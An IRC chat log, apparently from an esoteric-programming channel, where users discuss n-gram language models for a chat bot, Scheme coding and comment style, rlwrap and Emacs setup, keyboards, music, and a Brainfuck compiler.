what's the largest 20:13:04 doing it by hand is just wasted work. 20:13:06 and yes, there's 492kb 20:13:11 AnMaster: I do it half-by hand 20:13:20 fizzie, which is the largest and smallest? 20:13:21 I copy-paste it and remove the beginning and end by hand 20:13:24 "irc" is the largest; "europarl" second. 20:13:25 AnMaster: I've told him this, but the secret is that asie[brb] can't really code properly. 20:13:33 then i parse it through a series of sed commands 20:13:42 ehird, ah right. Forgot that... 20:13:46 ehird: yes i can, but i'm too lazy 20:13:48 :P 20:13:49 ... the sed commands being written by fizzie and ... Deewiant? Iirc. 20:13:50 *iirc 20:13:51 yes 20:13:54 I think yes 20:14:04 um. You could just remove said beginning/end with sed too 20:14:05 :P 20:14:09 The "ic" intercal style is the smallest. (These are generated model sizes, which depend on the N in n-gram; I don't have the original sizes handy.) 20:14:11 UNPOSSIBLE 20:14:22 fizzie: surely the wp talk: would be biggest raw; you had to use a cluster, right? 20:14:33 ^style ic 20:14:34 Selected style: ic (INTERCAL manual) 20:14:37 fungot: Hello 20:14:37 asie[brb]: w018 that was modified with `maybe' is atomic with the status of being unlike any other given type). 20:14:55 "status of being unlike any other given type" :D 20:14:57 I must make an Engrish language model 20:15:03 and maybe a Polish language model too 20:15:06 um 20:15:07 ehird: I probably used a smaller n-gram length there. And it's only 1/256ths of Talk: pages; that's not much. But yes, I think I had to run something on the larger-memory machines at work. 20:15:15 hm 20:15:23 fizzie: how much power does the cluster have? 20:15:24 i'm curious 20:15:59 ehird: Well, it's no huge thing. I think there's.. about 80 cores in it; 20*2 + 10*4. Let's see what sort of hardware. 20:16:00 Also, I wonder whether will you put up the source 20:16:13 if 20:16:27 -!- tombom has joined. 20:16:30 fizzie: That's huge enough for me ;-) 20:16:38 For really hard-core computation we're encouraged to use csc.fi's ("center for scientific computation" or something) resources. 20:16:53 Eh, just buy a CX1 :-P 20:17:09 (Cray's "On-Your-Desktop" supercomputer thing; just a load of powerful Xeons stuck together.) 20:17:13 -!- tombom_ has joined. 20:17:21 (http://www.cray.com/products/CX1.aspx) 20:17:32 fizzie: Now try 1/64ths of Talk pages! 20:17:47 -!- comex has joined. 20:17:50 -!- tombom_ has quit (Remote closed the connection). 20:17:51 also, put an Oxford English dictionary or something to it 20:17:51 :P 20:18:01 along with the Megahal .TRN file containing simple sentences 20:18:11 also 20:18:12 going off 20:18:19 -!- puzzlet_ has joined. 20:18:21 -!- asie[brb] has quit. 20:18:39 -!- puzzlet has quit (Remote closed the connection). 20:18:51 ehird, question: If a function in Scheme has no useful return value, what is the idiomatic return value to use? 20:18:58 As for that output one for example. 20:19:06 AnMaster: Just Don't Think About It. 20:19:11 ehird, um? 20:19:13 what? 20:19:13 ehird: There's: "20 IBM eServer 325: 2 x AMD Opteron 248 (2.2 GHz, 1 MB of L2 cache), 4 GB of memory in 16 nodes, 12 GB in 4" (the old set) plus "10 Dell PowerEdge SC1435: 2 x AMD Opteron SE 2220 (2.8 GHz, 2 MB cache), 16 GB of memory"; the later Opterons are dual-core things, so that's 40 cores from there even though there are only 10 nodes. 20:19:17 Let the last call drop through; if it's an output call, it'll DTRT, AnMaster. 20:19:22 It's not a *that* new cluster, after all. 20:19:31 If you reaaaaaaaaaaaaaaaaaaaaaaaally need an explicit "NOTHING LOL", do (if #f #f). 20:19:55 ehird, except it is the then branch of the (if (null? tree) return (output stuff and tail recurse)) 20:19:57 (The result being "unspecific", which is what R5RS calls it's-like,-whatever return values.) 20:19:59 basically 20:20:06 :/ 20:20:12 AnMaster: (if (not (null? tree)) output stuff and tail recurse) 20:20:17 Deewiant could probably enumerate what sort of a cluster the TCS lab, which is nowadays part of the same department (but with the computer systems still partially separate), has. 20:20:21 if it is null, the if returns an unspecific value, which is what you want. 20:20:44 20:19 fizzie: ehird: There's: "20 IBM eServer 325: 2 x AMD Opteron 248 (2.2 GHz, 1 MB of L2 cache), 4 GB of memory in 16 nodes, 12 GB in 4" (the old set) plus "10 Dell PowerEdge SC1435: 2 x AMD Opteron SE 2220 (2.8 GHz, 2 MB cache), 16 GB of memory"; the later Opterons are dual-core things, so that's 40 cores from there even though there are only 10 nodes. 20:20:48 ehird, except mzscheme complains if you don't have an else branch... And I'm trying to make it portable. 20:20:48 ah okay that's pretty regular 20:20:53 AnMaster: "Complains"? 20:20:59 If it rejects the code, it is R5RS-incompliant. 20:21:02 It is perfectly valid, proper code. 20:21:09 > (if (#t) #f) 20:21:09 readline::7: if: bad syntax (must have an "else" expression) in: (if (#t) #f) 20:21:10 MzScheme can whine if it wants; it's perfectly normal. 20:21:12 ... 20:21:12 mzscheme needs to be run as "r5rs" to work sensibly nowadays. 20:21:15 like that, except not for the REPL 20:21:17 "(#t)"? 20:21:22 What fizzie said, btw. 20:21:23 ehird, just as a short example 20:21:29 MzScheme is not R5RS, AnMaster. 20:21:31 fizzie, hm true 20:21:34 For instance, it uses immutable conses by default. 20:21:36 Except it doesn't really work sensibly as "r5rs" either, I guess. 20:21:43 But it's closer, anyway. 20:21:43 Using its default mode on R5RS code is just retarded. Don't do it. 20:21:53 ehird, fair enough 20:22:09 That "every if must have an else" is very silly, though. 20:22:14 Verily. 20:22:32 It seems like the PLT people want an almost-purely-functional language based on Scheme, really. 20:24:18 > 20:24:18 G�>�> 20:24:18 G�>� 20:24:18 G�>� 20:24:19 what 20:24:25 that is rlwrap scheme48 20:24:32 something is seriously messed up 20:24:33 AnMaster: Ah. Don't do that, then. 20:24:36 Here's my s48 alias: 20:24:37 The TCS cluster, which is I guess part of our department now at least in a bureaucratic sense, even if not in practice, adds another ten nodes of 2*2-core Xeon 5130 computers. 20:24:38 ehird, I need readline! 20:24:40 s48='rlwrap -i -q '\''"\'\'' scheme48' 20:24:41 Do that. 20:24:44 ah 20:24:45 As an alias. 20:24:47 um 20:24:48 what does it do 20:24:52 rlwraps. 20:25:18 rlwrap: error: unknown option -- q 20:25:20 try 'rlwrap --help' for more information 20:25:24 ehird, fail 20:25:26 Update rlwrap. 20:25:35 Don't say fail when it's your own damn fault. 20:25:39 ehird, using rlwrap 0.30 20:25:43 what version do you have 20:25:44 Ditto. 20:25:51 ehird, then: "huh"? 20:26:41 AnMaster: % rlwrap -i -q \'\" scheme48 20:26:45 if it doesn't work, I don't know 20:27:02 same error 20:27:10 ehird, what is that -q supposed to do 20:27:15 AnMaster: quote characters. 20:27:20 Although it's wrong, ' is not a quote character. 20:27:28 rlwrap -i -q \" scheme48 is right 20:27:32 AnMaster: rlwrap --help 20:27:35 and pastebin the output 20:27:49 (Also, Scheme 48 REPL tip: if your prompt starts with a number, ^D. You're in an error level.) 20:28:10 http://rafb.net/p/5F6pcE97.html 20:28:19 -q --quote-characters= 20:28:26 How exactly are you running rlwrap? 20:29:13 ehird, hm. seems it was an issue with unicode and ISO-whatever causing a hidden half unicode char on the input line 20:29:14 heh 20:29:19 Sweet. 20:29:32 like you know. konsole set to UTF-8, and the wrong locale 20:29:56 wrong locale due to messing with that before today when some app needed C locale (but reported yeah!) 20:30:07 AnMaster: anyway, `rlwrap -i -q '"' scheme48` in $PATH/s48 or alias s48="rlwrap -i -q '\"\' scheme48" in .profile, then you can just don't-worry-be-happy 20:30:26 AnMaster: But you should be using the REPL from Emacs. 20:30:30 Why aren't you? 20:30:37 ehird, I didn't like that quack. Tried it 20:30:40 didn't like it 20:30:46 So just use inferior-scheme. 20:30:52 ? 20:30:59 oh the normal scheme mode. Right 20:31:02 No. 20:31:05 inferior-scheme. 20:31:10 what is that 20:31:10 What you get by doing C-c C-l in scheme-mode. 20:32:08 ehird, when I disable my own binding of C-c C-l in .emacs it says it isn't bound. 20:32:18 in scheme mode yes 20:32:26 Hmm. What was the keybindng. 20:32:38 my local one? 20:32:52 No. 20:32:53 I'm thinking. 20:33:07 it is "search this line on google in w3m-mode, open new w3m buffer if none found" 20:33:08 :P 20:33:15 I didn't ask. 20:33:17 oh ok 20:33:37 ehird, actually I rather like drscheme's scheme editing mode. 20:33:46 fizzie: do you recall what the load-this-file-in-repl command was in emacs? 20:33:49 took a bit getting used to. 20:34:12 I'm so very not an Emacser that I don't. 20:34:20 hrrrrrrrrrm 20:34:21 -!- fungot has quit ("just a moment"). 20:34:45 fizzie, a nano-er? 20:35:01 -!- fungot has joined. 20:35:03 or pico-er? joe-er? 20:35:15 A vimmer, actually. 20:35:35 "An alcohol induced bout of sickness that occurs immediately after you awaken from the fuzzy night. AKA a hangover." Yes. 20:35:38 fizzie, how do you enumerate the list of styles in fungot? 20:35:38 AnMaster: jsr listen basic to make the transition from having a dollar sign (): 20:35:44 Just say ^style. 20:35:47 ... 20:35:49 I mean in the code 20:35:53 Oh. 20:36:00 I don't remember any "list files in directory" 20:36:04 AnMaster: C-c C-l. 20:36:10 There's a file it reads them and the descriptions from. 20:36:17 ehird, I said it didn't do it! 20:36:32 It may be a Quack thing. 20:36:40 AnMaster: M-x run-scheme, anyway. 20:37:15 ehird, it is activated with quack yes. But I didn't like quack. It had a "tab is evil option" but no "space is evil" option :P 20:37:31 You can't indent Scheme code with just tabs, AnMaster. 20:37:37 * AnMaster is a hard-core "tab for indent, space for adjustment" 20:37:41 ehird, yes I know :( 20:37:48 So what's the problem with Quack? 20:37:54 It actually "i"s in the "styles.list" file; the file needs to contain real \0s to terminate the names and the list, since they're directly read with STRN/G and such. It makes it a bit trickier to edit, but much friendlier for the Funge-98 code to use. 20:37:56 I see. 20:38:01 ehird, well also it didn't do what I wanted 20:38:06 Which is 20:38:15 don't remember exactly what. It was yesterday! 20:38:40 AnMaster: it lacks a feature you want, so you remove it, thus having even less features and still not the one you want. 20:38:49 oh yes 20:38:50 comments 20:39:00 What? 20:39:07 ehird, try tab on a line with a comment 20:39:12 it indents it to the other margin 20:39:22 ... so disable that? 20:39:24 rather than aligning it properly with the code 20:39:28 ehird, couldn't find that option 20:39:38 Oh come on, the file is tiny. 20:39:40 Just change the binding. 20:40:03 ehird, I'm looking in customise buffer duh :P 20:40:10 So don't do that. 20:40:30 ehird, too much work. I'm happy using normal scheme mode, or drscheme 20:40:42 You can also just use a different amount of ;s. 20:40:43 Then don't ask me to help? 20:40:48 And what fizzie said. 20:40:51 You're probably doin it rong. 20:41:00 Single ;s indent to margin, ;;s to the "code place", and ;;;s to first column. Or some such thing. 20:41:10 Though of course not everyone likes that system. 20:41:18 It's the more or less standard, though. 20:41:30 ;; for normal comments is ubiquitous; so's the ;;; for "global" comments. 20:41:44 ehird, what about the ; one then? 20:41:53 Generally not used much. 20:42:00 You probably don't have to. 20:42:42 ehird, drscheme indents all to the code's place 20:42:48 That's nice. 20:42:56 ehird, " Though of course not everyone likes that system." 20:42:57 indeed 20:42:59 In general, ;;; never goes inside of code. 20:43:05 So DrScheme would DTRT. 20:44:01 hm 20:44:39 the amount of bass sound you get would depend mostly on the speaker right? Or does the sound card also affect it? 20:44:50 I don't really know that sort of stuff. 20:45:11 It depends on using Monster(TM) Cable(R)s. 20:45:23 There was also some commentifying system with meaningful four-;;;; comments, but I've forgotten what those meant. Probably some sort of module-level comments, whereas you can use ;;;s outside "top-level" (define)s. 20:45:27 ehird, ... please be serious. 20:45:36 fizzie: ;;;; is top-of-file-header comment 20:45:41 description, copyright etc 20:45:48 ehird, um wouldn't that be ;;; ? 20:45:51 ;;; is column-one commenty thingies 20:45:55 sigh 20:45:56 ;; is code-y commenties 20:46:02 ; is in-line commenties, although I rarely see that. 20:46:51 erlang uses %%% for top-of file, %% for function, % for inline. 20:47:02 inline being "indented to code" 20:47:13 By inline I mean on-the-same-line-as-some-code. 20:47:13 That is, 20:47:16 (foo bar) ; stuff 20:47:20 vs 20:47:21 ;; jsdfsdf 20:47:22 ;; sdfjsdfkds 20:47:24 (foo bar) 20:47:27 vs 20:47:33 ;;; Now we must recalculate the 20:47:36 ehird, in erlang that is more or less bad style 20:47:39 ;;; jickobobs. To do this we floob. 20:47:39 same line as code that is 20:47:40 vs 20:47:49 ;;;; Calculates dinky-donks. (C) Elliott Hird 2009 Mega-Proprietary 20:48:02 in fact I always disliked "same line as code" 20:48:08 with one exception: 20:48:11 I don't like it either; that's why I don't do it. 20:48:13 It's not very common. 20:48:15 You can probably just convert your Erlang %s into ;s and add one ; more, and skip using single-;s at all. 20:48:15 member of structs 20:48:17 that is ok 20:48:33 fizzie: Except for the ;;;; summary of file vs ;;; summary of section thing. 20:48:43 But yeah. 20:48:43 * AnMaster goes using 5 ; just because 20:48:49 -!- puzzlet_ has quit (Remote closed the connection). 20:48:55 BOXED! 20:48:58 That's obnoxious. 20:49:02 a 5-; width border. 20:49:04 :D 20:49:08 Boxed with ;;;s gives a pleasant stipply stipple. 20:49:27 ;;;;;;;;;;;;;;;;;;;;;;; 20:49:27 ;;; stipply stipple ;;; 20:49:28 ;;;;;;;;;;;;;;;;;;;;;;; 20:49:56 It's like a shaded rectangle, except not at all. 20:49:58 AnMaster: http://mumble.net/~campbell/scheme/cps.scm Here's some code that demonstrates the basic commenty style. 20:50:26 -!- puzzlet has joined. 20:50:27 what about this: 20:50:31 ;;;;;;;;;;;;;;;;;;;;;;;;; 20:50:32 ;;;;;;;;;;;;;;;;;;;;;;;;; 20:50:32 ;;;;;;;;;;;;;;;;;;;;;;;;; 20:50:32 ;;;;; ;;;;; 20:50:32 ;;;;; Output C-code ;;;;; 20:50:32 ;;;;; ;;;;; 20:50:34 ;;;;;;;;;;;;;;;;;;;;;;;;; 20:50:38 ;;;;;;;;;;;;;;;;;;;;;;;;; 20:50:40 ;;;;;;;;;;;;;;;;;;;;;;;;; 20:50:42 * AnMaster runs 20:51:06 '(ANMASTER THIS IS FROM THE ORIGINAL SCHEME COMPILER RABBIT IT IS IN UPPER CASE http://mumble.net/~campbell/scheme/rabbit.scm) 20:51:11 ¡Syntax error! 20:51:25 '(IT IS VERY THE UGLY) 20:51:52 ¡Señor, está un syntax error! 20:52:11 '(DOES THIS RUN GRACENOTES) 20:52:26 ¡No! 20:52:57 hilarious. kate's syntax highlighting of scheme fails on upper-case DECLARE 20:53:05 wait 20:53:05 no 20:53:08 hm 20:53:16 DECLARE ISN'T ACTUALLY IN SCHEME AnMaster. 20:53:17 oh the -*-LISP-*- at the top 20:53:18 did it 20:53:27 ehird, true 20:53:29 ACTUALLY THAT RABBIT THING IS IN LISP I THINK 20:53:29 ¡ɹoɹɹə xɐʇuʎs 20:53:33 I THINK IT MODIFIED MACLISP TO BE SCHEME 20:53:43 ALTHOUGH I'M NOT SURE; IT'S JUST WEIRD. 20:53:44 -*-ICE-CREAM-WITH-SPRINKLES-*- 20:53:52 -*-FFFFFFFFFFFFFFFFFFFFFF-*- 20:53:59 ehird, yes that is what I said. kate doesn't interpret emacs style mode lines 20:54:08 UPPER CASE LETTERS WERE INVENTED IN 1985 20:55:05 where the hell is the lisp one in kate -_- 20:55:27 AnMaster: There's no such thing as "Lisp" 20:55:35 I think that file is Scheme, but with lots of MACLISP features. 20:55:40 Since RABBIT was written in MACLISP. 20:56:03 EHIRD I THINK THE TERM YOU DESIRE IS "MAJUSCULE" 20:56:09 THE TERM EVERYONE DESIRES IS "MAJUSCULE" 20:56:18 I DESIRE YOUR MAJUSCULENESS 20:56:40 OOH YOU ARE SUCH A MAJUSCULE MAN. 20:56:49 ehird, it fails at upper-case DEFINE too 20:56:51 TIME FOR A MAJUSCULE ORGY, I THINK. 20:56:55 but manages lower case define fine 20:57:11 AnMaster: PLEASE SHUT UP WE ARE BUSY HAVING AN ORGY. 20:57:19 EVEN IF THOSE TWO HAVEN'T REALISED IT YET. 20:58:00 You people can make even uppercase letters sound dirty. It must be some sort of gift. 20:58:22 more like time for a miniscule orgy 20:58:23 GREASED (MAJUSCULE) CAPITAL LETTERS 20:58:41 Gracenotes: WE ARE MINISCULE MEN IN A MAJUSCULE ORGY ... THAT OF LIFE 20:59:32 ... I'M PRETTY DEEP 21:03:19 ^ul ((MAJU )(scule ))(~:^:S~:S*a~^*a*~:^):^ 21:03:19 scule MAJU MAJU scule scule MAJU scule MAJU MAJU scule MAJU scule scule MAJU MAJU scule scule MAJU scule MAJU MAJU scule scule MAJU MAJU scule MAJU scule scule MAJU scule MAJU MAJU scule MAJU scule scule MAJU MAJU scule scule MAJU scule MAJU MAJU scule MAJU scule scule MAJU scule MAJU MAJU scule scule MAJU MAJU scule MAJU ...too much output! 21:03:39 okay... I'm 30 minutes in to Primer and I understand it so far 21:04:02 I do not anticipate feeling this way in another 30 minutes, but, whateva. 21:07:42 -!- freakcrow has joined. 21:07:56 -!- freakcrow has left (?). 21:08:09 Gracenotes: ooh, primer. 21:08:13 is it good 21:08:26 indeed so 21:09:49 indeedy so. 21:09:51 -!- kar8nga has quit (Read error: 54 (Connection reset by peer)). 21:15:14 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server"). 21:26:16 "People were not forced into this style, you can still access your friend’s private members" 21:27:42 I want to access your private member 21:27:47 That was the joke. 21:28:28 ehird, it can compile hello world 21:28:37 not much optimising yet. Won't be today at least 21:28:41 k 21:28:43 a bit optimising 21:28:44 show the code 21:29:24 ehird, with the caveat (sp?): it needs cleaning up really. I'm well aware of that. 21:29:34 Caveat is correct. 21:29:50 like the one-more-nested function than needed in parse 21:29:51 I like how you most often say sp when you get a tricky thing correct. 21:30:00 ehird, sad :/ 21:30:21 cavaet 21:30:23 ! 21:30:32 caviaraet 21:30:50 caviar 21:30:56 that was what i was going for 21:31:00 ehird, and it might be that I correct with aspell but wasn't sure I selected the right alternative. 21:31:09 that is very often the case 21:31:14 http://pastebin.ca/1419649 21:31:17 there 21:31:25 o plz nao 21:31:38 Gracenotes, what? 21:31:46 nutin. 21:31:57 ehird, yes it needs cleaning up 21:32:01 ;;; This program is free software: you can redistribute it and/or modify 21:32:01 ;;; it under the terms of the GNU General Public License as published by 21:32:03 ;;; the Free Software Foundation, either version 3 of the License, or 21:32:05 ;;; (at your option) any later version. 21:32:09 yes? 21:32:10 GPL 4: All your codes are belong to me. 21:32:28 AnMaster: Saw comments starting with single ; that weren't inline; didn't read. 21:32:35 scsws;twi;dr 21:32:41 ... 21:32:48 might fix in a later version 21:32:54 ;;; This program contains communism 21:33:03 and the data structure is messy yes, this is because I changed the format in the middle 21:33:08 AnMaster: Saw ad-hoc type declarations; didn't read. 21:33:10 when I found out the original didn't work 21:33:19 ehird, what ad-hoc one in specific? 21:33:24 All of them. 21:33:31 You're not coding Haskell. 21:33:35 ehird, um? All declarations? 21:33:39 ; (func input-list initially-empty-outputlist) => output-list 21:33:41 Those things. 21:33:45 -!- tombom has quit ("Peace and Protection 4.22.2"). 21:34:00 ehird, Helps me remember what format the function should have 21:34:08 Well, it's bad style. 21:34:11 ehird, that is a function passed to that! 21:34:18 so then it helps 21:34:23 It's bad style. 21:34:25 ehird, why 21:34:32 Because it simply is? 21:34:37 not a valid answer 21:34:40 int main( int v) {{return v+ 21:34:42 7;}} 21:34:44 suggest a better one 21:34:45 That's bad C style. 21:34:54 ehird, suggest a better one in this case 21:34:56 AnMaster: it just isn't the convention, ffs 21:35:00 a better what 21:35:18 AnMaster: A better what. 21:35:23 ehird, to describe that the function passed to as the parameter func should take two lists and return a list 21:35:31 with the relevant parameter types 21:35:45 Either describe it in plain english or just let the parameter names speak for themselves. 21:35:56 ehird, why 21:35:57 Also, your define-recur-then-call recur could be named lets. Also, 21:35:59 ) 21:36:00 ) 21:36:01 ) 21:36:04 To steal a phrase you like to use: FAIL. 21:36:21 Also, your define-recur-then-call recur could be named lets. <-- could yes. But why should be? 21:36:22 )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) 21:36:32 AnMaster: Because that's what named lets are designed for! 21:36:42 I'm assuming you don't know what a named let is. 21:36:42 ehird, ehird, with the caveat (sp?): it needs cleaning up really. I'm well aware of that. 21:36:51 yes it needs cleaning up. I'm well aware of that. 21:36:58 if I'm reading some code, I'm going to comment on what's wrong with it. 21:37:10 ehird, I shouldn't have pasted it clearly. 21:37:17 good to know for the future 21:37:40 Indeed. Your code is a panacea; the very mark of good style and clearly all differences are flaws on the part of the differer. 21:38:37 And "I know it needs a cleanup" is silly, since you've evidently not noticed some of the things I've pointed out, since you've challenged them. 21:39:13 ehird, no. But I already said it needed cleaning up. And I know what named let is. I just find this way clearer. Since it is what SICP used. 21:39:23 I don't remember seeing named let in SICP 21:39:31 SICP uses a minimal set of Scheme because it is a teaching material. 21:39:55 ehird, so? I learned scheme from that :P. And fixnum. 21:40:07 Scheme in Fixnum days? 21:40:10 That book is terrible. 21:40:11 yeah 21:40:16 ehird, and SICP 21:40:16 What it implements is nothing close to Scheme semantics. 21:40:29 ehird, iirc you recommended it back then 21:40:32 And SICP is not how you learn how to write Scheme. 21:40:36 oh, wait 21:40:40 I was thinking about another scheme-fixnum 21:40:43 what? 21:40:55 There's a tutorial called build yourself a scheme in 48 hours, or something. 21:41:01 My brain s/48/fixnum/ for some reason. 21:41:09 http://www.ccs.neu.edu/home/dorai/t-y-scheme/t-y-scheme.html 21:41:12 I know now. 21:41:13 was the one I meant 21:41:23 Anyway, SICP isn't how you learn to write Scheme; it's how you learn the concepts behind it. 21:41:37 ehird, yes. But the coding style stuck :P 21:41:49 SICP's coding style is fine for its minimal subset. 21:44:40 suire.... But the coding style _stuck_. 21:44:49 I thought you said "suck". 21:44:59 ehird, no. 21:45:25 ehird, I would have said "sucks" then wouldn't I? 21:45:37 It's not the first time you've made a similar mistake 21:45:57 ehird, that is because my s-key is kind of "wonky" (right word?) 21:46:12 That's fine. Also "shitty" :p 21:46:38 ehird, I plan to get a new keyboard 21:46:49 one of those split ones 21:47:10 Ew. 21:47:19 ehird, what? 21:47:23 Get a Model M or something :p 21:47:25 ehird, like jwz has. 21:47:33 without the melting 21:47:35 If you don't mind the noise and have strong fingers, the Model M is excellent. 21:47:39 and scratching 21:47:47 I do mind the noise and have weak fingers so it's not perfect for me. 21:48:55 ehird, I have strong fingers. I do mind the noise. I would prefer not to have to have my hands straight ahead when typing, instead of in the shape of a triangle (seen from above) 21:49:04 and yes I'm using a standard full size keyboard 21:49:13 My hands are pretty triangulary with this regular keyboard. 21:49:31 Also, the noise isn't as bad as you may be lead to believe; you can buy mechanical tactile-but-no-noise kbs, too. 21:49:44 the arms in a triangular shape with yourself as the base of the triangle 21:49:49 is what I meant 21:50:11 Yes, I know. 21:50:15 That's what I have. 21:50:24 ehird, I tried a split keyboard recently. It was AWESOEM 21:50:27 AWESOME* 21:50:39 I plan to buy one myself. 21:50:54 your loss 21:50:59 ehird, have you ever used one of those split ones? 21:51:04 Not sure. 21:51:13 and yes it should have the mechanical feeling if possible 21:51:16 It's not how I use a keyboard; my hands collaborate on both sides. 21:51:17 but the split bit is better 21:51:32 s/better/more important/ 21:51:42 wow this is good music 21:51:54 bought some new cds. 21:52:16 Oh? 21:52:23 yeah 21:52:41 I ripped/listened to a CD today too, but probably not anything anybody here likes :p 21:52:45 you know really good music? Special feeling 21:52:55 Erm. 21:52:55 physically I mean 21:53:10 Slereah: I need your scientific prowess. 21:53:18 It seems AnMaster has discovered how to convert porn into audial form. 21:53:22 no. 21:53:23 Research will commence immediately. 21:53:34 * AnMaster tries to figure out "gåshud" in English 21:53:43 it is when the hairs on your body stand up 21:53:46 you know? 21:53:51 Goosebumps. 21:53:52 on the arms and/or legs 21:53:53 ah 21:53:57 how similar... 21:54:10 the Swedish one is "gose skin" 21:54:11 :D 21:54:39 ehird, anyway you can get goosebumps from really good music. Music that really touches your mind and feelings. 21:54:42 Technically it's called piloerection. 21:54:45 in German we say "Gänsehaut" 21:54:52 So I guess you get it if you're a pillow with an erection. 21:54:57 Don't quote me on that one. 21:55:01 ehird, hah 21:55:14 ehird, but you know what I mean about music giving that right? 21:55:29 Shur 21:55:39 [that sounds like gregor] 21:55:48 well these four CDs have been giving that on every track so far! 21:55:57 I'm on the third cd atm. 21:56:01 AnMaster: Yes, Britney spears does that to you. 21:56:04 no 21:56:06 Kraus 21:56:07 :-P 21:56:10 SAME THING. 21:56:11 ehird, NAXOS 8.553734 21:56:21 Kraus was reincarnated as Britney Spears. 21:56:25 Well known fact. 21:56:34 ehird, that makes no sense. 21:56:41 AnMaster: It stands to reason. 21:57:06 this has a very strong feeling of Sturm und Drang. 21:57:15 btw 21:57:29 Glorbenschnitzel. 21:57:37 ehird, what does that mean 21:57:44 Glorbenschnitzel. 21:58:04 in English 21:58:17 ... 21:58:23 Glorbenschnitzel. 21:58:32 ehird, in some other phrase 21:58:44 Schnitzel of the glorben. 21:59:01 I don't know what "glorben" is 21:59:01 No definitions were found for Glorbenschnitzel. 21:59:16 Did you mean: define:Globen Schnitzel 21:59:20 No definitions were found for Globen Schnitzel. 21:59:26 How odd. 21:59:32 hm 21:59:35 globen 21:59:39 or glorben? 21:59:43 glorben. 21:59:49 Did you mean: define:Globen 21:59:49 No definitions were found for Glorben. 21:59:53 Definitions of Globen on the Web: 21:59:53 The Stockholm Globe Arena or, in Swedish, Globen ("The Globe") is the national indoor arena in Stockholm Globe City, Sweden. 21:59:53 en.wikipedia.org/wiki/Globen 21:59:54 Weird 21:59:59 ehird, explain it the 22:00:00 Oh, right 22:00:00 then* 22:00:02 It's globen 22:00:04 "mennä kananlihalle" is the Finnish version of getting goosebumps, which directly translates to something like "go/turn to chicken flesh". 22:00:18 Schnitzel is "that-was-schnitzel-of-the-intaking" 22:00:21 ehird, you meant a schnitzel from globen!? 22:00:37 Clearly. 22:00:43 isn't schnitzel some sort of bread 22:00:58 well, it would feed a lot of people 22:01:04 considering how large Globen is 22:01:21 lets just say: Best viewed from a moderate distance 22:02:02 Yes. It's from the poem "Globen Schnitzel": 22:02:02 Globen- schnitzel, 22:02:03 of-the-feeding crowd, 22:02:05 the-intaking-of- schnitzel, 22:02:07 Schnitzel of globen. 22:02:15 ehird, you are making this up 22:02:27 Tell that to Haurenhoff, the author. 22:03:00 ehird, you are making that up still 22:03:14 Here's the moving verse two: 22:03:15 That would be schnitzel, 22:03:16 Yes the-feeding-of from 22:03:18 the Globen beseech-to-see-not 22:03:20 the evils, unto you, 22:03:22 globen schnitzel. 22:03:24 Of course, this is all translated from Ancient Hartunian 22:03:30 ehird, [citation needed] 22:03:31 Some elements of subtlety may be lost in the process. 22:04:23 Svettekelte on to which 22:04:23 we see, here-today 22:04:25 For the globen of giving 22:04:27 do seek unto us 22:04:29 a globen schnitzel 22:04:31 shared among. 22:04:33 Verse three. 22:04:57 ehird, [citation needed] 22:04:57 ehird, [citation needed] 22:04:58 ehird, [citation needed] 22:05:31 O, and unto us 22:05:31 Was-spoken: 22:05:33 "Citation thus?" 22:05:35 And thusly, we see, 22:05:37 globen schnitzel - 22:05:39 need no citee! 22:05:41 Verse four, written shortly after the invention of rhyme. 22:07:50 ehird: a "Grubenschnitzel" is a box with plastic snippets, used in pole vault 22:08:15 KingOfKarlsruhe: A globenschnitzel is like that, except it's in the Globen. 22:08:18 KingOfKarlsruhe, wth is "pole vault" 22:08:23 It contains bread. 22:08:34 Pole vaulting is an athletic field event in which a person uses a long, flexible pole (which today is usually made either of fiberglass or carbon fiber) as an aid to leap over a bar. Pole jumping competitions were known to the ancient Greeks, as well as the Cretans and Celts. It has been a full medal event at the Olympic Games since 1896 for men and since 2000 for women. 22:08:35 AnMaster: http://dict.leo.org/?lp=ende&search=stabhochsprung 22:08:37 Clearly. 22:09:11 KingOfKarlsruhe, why did you link that 22:09:17 -!- BeholdMyGlory has quit (Remote closed the connection). 22:09:17 Oh, it's really that? Okay. 22:09:42 KingOfKarlsruhe, it is just translation 22:10:59 actually that would be funny. Since the Olympics probably have been played in Globen at some point, what with it being (iirc) the largest sports arena in Sweden. 22:11:10 not that I care much about sports 22:11:15 brb 22:13:04 time for the next bf-to-C compiler: in-between 22:14:17 with a modular backend 22:14:28 so it can output both C and Erlang and so on 22:16:12 And BF :P 22:16:15 bf-to-bf 22:17:02 bf optimizer? 22:18:34 -!- KingOfKarlsruhe has quit (Remote closed the connection). 22:19:34 well 22:19:38 would be possible 22:19:42 for the most stupid bf 22:19:49 like: 22:19:54 !bf_textgen blah 22:19:58 !bf_txtgen blah 22:20:00 60 ++++++++++++[>++++++++>+++++++++>+><<<<-]>++.>.<-.>----.>--. [678] 22:20:02 see 22:20:04 >< 22:20:08 can be optimised away 22:20:10 EVEN IN PURE BF 22:21:14 lifthrasiir, but really I'm not aiming as high are esotope-bf 22:21:21 ;) 22:21:37 lifthrasiir, you need to update optimising page iirc. It seems you optimise more now? 22:21:44 and why are you not using fputs() 22:22:02 yes, DCE is implemented 22:22:31 and... oh, i thought that fputs prints trailing newline but that wasn't. 22:22:47 it is puts() that does 22:22:50 wait 22:22:55 fputs() and \0 22:22:56 right 22:23:00 you need fwrite() for that 22:23:02 my fault 22:23:27 "Esotope Brainfuck compiler is currently written in Python (2.5 or later). It is a part of Esotope project, which plans to give advanced implementation" 22:23:28 um 22:23:34 lifthrasiir, which other ones do you plan 22:23:41 "of every esoteric programming language." 22:23:42 but 22:23:46 that's not sane 22:23:55 you aren't planning to do INTERCAL right? 22:24:00 and there are some you CAN'T do 22:24:05 like those uncomputable ones 22:24:10 like those un computable ones 22:24:12 err 22:24:27 readline fail 22:24:39 AnMaster: of course for implementable ones. and that is just a plan; i'm very certain that it will never be finished 22:24:44 (possibly. Anyway I blame it on whatever line editing is used) 22:25:06 lifthrasiir, is it esotope-pyfunge now? 22:25:23 AnMaster: without name change, yes. 22:25:52 lifthrasiir, will all be in python? :( 22:25:57 nope. 22:26:07 nor they will be integrated. 22:26:09 will never be* 22:26:16 um 22:26:25 "nor will they nerver be integrated"? 22:26:41 i mean they will never be integrated. sorry. 22:26:43 double negative detected. Please stand by when parsing. 22:26:50 oh ok 22:27:13 sometimes i even fail to produce correct 